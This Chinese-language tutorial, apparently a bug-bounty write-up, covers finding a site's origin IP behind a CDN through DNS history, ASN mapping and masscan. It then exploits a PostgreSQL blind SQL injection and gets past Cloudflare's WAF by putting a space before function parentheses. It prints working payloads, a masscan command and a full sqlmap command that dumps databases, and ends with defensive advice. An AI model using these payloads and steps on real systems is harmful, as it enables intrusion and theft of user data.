绕过WAF:追踪源站IP与SQL注入的艺术
字数 1800 2025-10-01 14:05:44
绕过WAF:追踪源站IP与SQL注入技术详解
1 核心概念基础
1.1 DNS系统与记录类型
- DNS作用:互联网寻址系统,实现域名与IP地址的映射转换
- A记录:域名到IPv4地址的映射(example.com → 23.215.0.138)
- AAAA记录:域名到IPv6地址的映射
- CNAME记录:域名到域名的映射(ryukudz.com → itsryuku.github.io)
1.2 自治系统号(ASN)
- 定义:互联网网络中唯一标识符,代表由单一组织管理的IP地址集合
- 重要性:帮助识别属于同一实体的IP地址范围
- 注意点:目标可能托管在云服务提供商(AWS、GCP、Azure)的IP空间而非自有ASN
1.3 源站IP与CDN
- 源站IP:后端服务器的真实IP地址,通常被CDN隐藏
- CDN作用:提高性能并提供安全层(Web应用程序防火墙)
- 安全意义:绕过CDN即同时绕过WAF防护,大幅降低漏洞利用难度
2 源站IP发现技术
2.1 历史DNS记录查询
- 原理:查询域名历史DNS记录,寻找CDN启用前的源站IP
- 常用工具:
- ViewDNS.info:基础历史记录查询
- Censys/SecurityTrails:深度DNS数据查询(需免费试用账户)
- 局限性:成熟公司会实施IP轮换策略降低此方法有效性
2.2 ASN网络映射技术
- ASN识别:通过Hurricane Electric BGP Toolkit查询目标组织关联的IP范围
- 网络映射:使用asnmap工具通过ASN映射网络范围
- 存活主机扫描:使用masscan进行大范围端口扫描
sudo masscan -iL ranges.txt -p1-65535 --exclude 255.255.255.255 --rate 100000 --output-format json --output-filename scan-results.json
- 结果过滤:提取存活主机信息
cat scan-results.json | sed -e '/^
$$
/d' -e '/^
$$
/d' -e 's/,$//' | jq -r '[.ip, .ports[0].port] | @tsv' | sed 's/\t/:/' | sort -u > alive-hosts
2.3 源站IP验证
- 方法:使用Burp Suite Intruder对存活IP列表进行模糊测试
- 关键设置:保持Host头为原始域名(www.target.com),替换IP地址参数
- 识别特征:响应状态码200 OK且内容与原始响应完全一致
3 SQL注入漏洞利用
3.1 漏洞识别与确认
- 可疑端点:
GET /api/videos?topic=1337 - 基础测试:
- 单引号测试(
1337%27) → 500错误 - 双引号测试(
1337%27%27) → 200正常
- 单引号测试(
- 布尔盲注确认:
1337'+AND'1'=1--→ 数据返回1337'+AND'1'=2--→ 无结果返回1337'+and+length(version())>1--→ 数据返回
3.2 WAF绕过技术
- 初始阻挡:直接函数调用被Cloudflare WAF阻断
- 空格绕过:在函数名与括号间添加空格成功绕过
- 被阻断:
ascii(substring(current_database(),1,1))>32 - 已绕过:
ascii+(substring+(current_database(),1,1))>32
- 被阻断:
- 数据提取:
- 数据库名长度:
length+(current_database())=10 - 版本信息长度:
length+(version())=104 - 逐字符提取:
ascii+(substring+(current_database(),1,1))=102(字符'f')
- 数据库名长度:
3.3 自动化利用与数据提取
- sqlmap枚举数据库:
python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' -p topic --dbms=PostgreSQL --dbs --technique=B --level=5 --risk 3 --no-cast --threads 10
- 表结构枚举:识别包含敏感信息的users表
- 数据导出:直接导出敏感用户数据作为漏洞证明
4 完整技术流程总结
- 漏洞发现:识别可能存在SQL注入的API端点
- 基础验证:通过布尔盲注确认漏洞存在
- WAF对抗:使用空格混淆等技术绕过Cloudflare防护
- 源站追踪:通过历史DNS记录或ASN映射寻找真实IP
- 直接访问:绕过CDN直接与源站服务器交互
- 自动化利用:使用sqlmap等工具高效提取数据
- 漏洞报告:提供充分证据包括敏感数据样本
5 防御建议
- 正确CDN配置:确保源站IP正确隐藏,实施IP轮换策略
- WAF规则优化:检测函数名与括号间的空格混淆尝试
- 输入验证:对所有用户输入实施严格的参数化查询
- 错误处理:避免向客户端返回详细数据库错误信息
- 网络监控:监控直接访问源站IP的异常请求模式
此技术手册详细记录了从漏洞发现到完整利用的全过程,重点强调了源站IP发现这一关键环节在绕过WAF防护中的重要作用。